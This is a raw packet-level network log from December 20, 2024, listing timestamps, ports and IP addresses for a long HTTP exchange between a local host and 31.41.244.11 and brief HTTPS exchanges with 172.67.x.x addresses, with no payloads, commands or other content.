Dec 20, 2024 02:11:28.555741072 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.555867910 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.555922985 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.556366920 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.556418896 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.556482077 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.556534052 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.557066917 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.557125092 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.557132006 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.557182074 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.557760954 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.557811022 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.557872057 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.557931900 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.558455944 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.558509111 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.558568954 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.558621883 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.559184074 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.559271097 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.559351921 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.559866905 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.559937954 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.559963942 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.560022116 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.560547113 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.560609102 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.560651064 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.560729980 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.561305046 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.561361074 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.561469078 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.561520100 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.562000036 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.562053919 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.562097073 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.562149048 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.562668085 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.562720060 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.562774897 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.562828064 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.563352108 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.563402891 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.563445091 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.563499928 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.564030886 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.564101934 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.564140081 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.564202070 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.564713955 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.564766884 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.564837933 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.564894915 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.565443993 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.565495968 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.565572977 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.565623999 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.566119909 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.566185951 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.566260099 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.566312075 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.566829920 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.566880941 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.566983938 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.567034960 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.567513943 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.567563057 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.567714930 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.567790985 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.568213940 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.568270922 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.568311930 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.568381071 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.568908930 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.568965912 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.569010973 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.569065094 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.569636106 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.569705963 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.569747925 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.569798946 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.570321083 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.570379972 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.570419073 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.570466042 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.570998907 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.571068048 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.571106911 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.571161032 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.571697950 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.571754932 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.571795940 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.571847916 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.572411060 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.572462082 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.572511911 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.572563887 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.573080063 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.573128939 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.702538013 CET	443	49882	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:28.702687979 CET	49882	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:28.705166101 CET	49882	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:28.705220938 CET	443	49882	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:28.705455065 CET	443	49882	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:28.707999945 CET	49882	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:28.708220005 CET	49882	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:28.708266020 CET	443	49882	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:28.708353996 CET	49882	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:28.708372116 CET	443	49882	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:28.726634026 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.726697922 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.726720095 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.726773977 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.726939917 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.727036953 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.727087021 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.727087021 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.727652073 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.727705002 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.727931023 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.727988005 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.728029013 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.728090048 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.728609085 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.728665113 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.728718996 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.728775024 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.729289055 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.729353905 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.729391098 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.729463100 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.729991913 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.730055094 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.730144978 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.730206013 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.730699062 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.730750084 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.730788946 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.730844975 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.731378078 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.731442928 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.731479883 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.731606007 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.732090950 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.732144117 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.732182026 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.732235909 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.732815027 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.732870102 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.732916117 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.732970953 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.733479023 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.733534098 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.733575106 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.733628988 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.734189034 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.734249115 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.734338999 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.734395027 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.734910965 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.735018015 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.735028028 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.735075951 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.735574961 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.735639095 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.735682964 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.735738993 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.736287117 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.736341953 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.736391068 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.736443996 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.737020016 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.737077951 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.737114906 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.737169027 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.737662077 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.737729073 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.737771988 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.737829924 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.738362074 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.738421917 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.738486052 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.738537073 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.739080906 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.739134073 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.739175081 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.739228010 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.739762068 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.739820004 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.739891052 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.739948034 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.740509033 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.740587950 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.740634918 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.740686893 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.741168022 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.741220951 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.741235971 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.741287947 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.741871119 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.741930008 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.742023945 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.742079973 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.742537022 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.742592096 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.742638111 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.742963076 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.743242025 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.743331909 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.743370056 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.743438005 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.743913889 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.743967056 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.744039059 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.744098902 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.744633913 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.744690895 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.744736910 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.744791031 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.745335102 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.745388985 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.745496035 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.745558023 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.746036053 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.746099949 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.746174097 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.746237993 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.746718884 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.746773005 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.746843100 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.746891975 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.747426033 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.747482061 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.747523069 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.747575998 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.748116016 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.748172998 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.748269081 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.748332024 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.748842001 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.748900890 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.749043941 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.749093056 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.749550104 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.749603987 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.749648094 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.749706984 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.750197887 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.750248909 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.750308037 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.750366926 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.750912905 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.750967979 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.751005888 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.751056910 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.751610041 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.751663923 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.751720905 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.751775980 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.752316952 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.752365112 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.752428055 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.752490997 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.753024101 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.753078938 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.753130913 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.753192902 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.753696918 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.753756046 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.753798962 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.753859997 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.754395008 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.754453897 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.754496098 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.754559040 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.755108118 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.755170107 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.755245924 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.755300999 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.755816936 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.755872965 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.755919933 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.755971909 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.756489038 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.756548882 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.756582975 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.756638050 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.757216930 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.757278919 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.757292986 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.757360935 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.757870913 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.757926941 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.757965088 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.758019924 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.758575916 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.758629084 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.758641958 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.758706093 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.759263039 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.759355068 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.759366035 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.759419918 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.759999037 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.760060072 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.760102034 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.760155916 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.760657072 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.760710955 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.760770082 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.760905981 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.761359930 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.761409998 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.761501074 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.761554003 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.762054920 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.762109041 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.762195110 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.762247086 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.762736082 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.762790918 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.762829065 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.762883902 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.877594948 CET	443	49883	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:28.877671003 CET	49883	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:28.879240990 CET	49883	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:28.879245043 CET	443	49883	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:28.879714012 CET	443	49883	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:28.880919933 CET	49883	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:28.880955935 CET	49883	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:28.881009102 CET	443	49883	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:28.919085979 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.919150114 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.919148922 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.919202089 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.919291019 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.919361115 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.919454098 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.919509888 CET	49875	80	192.168.2.5	31.41.244.11
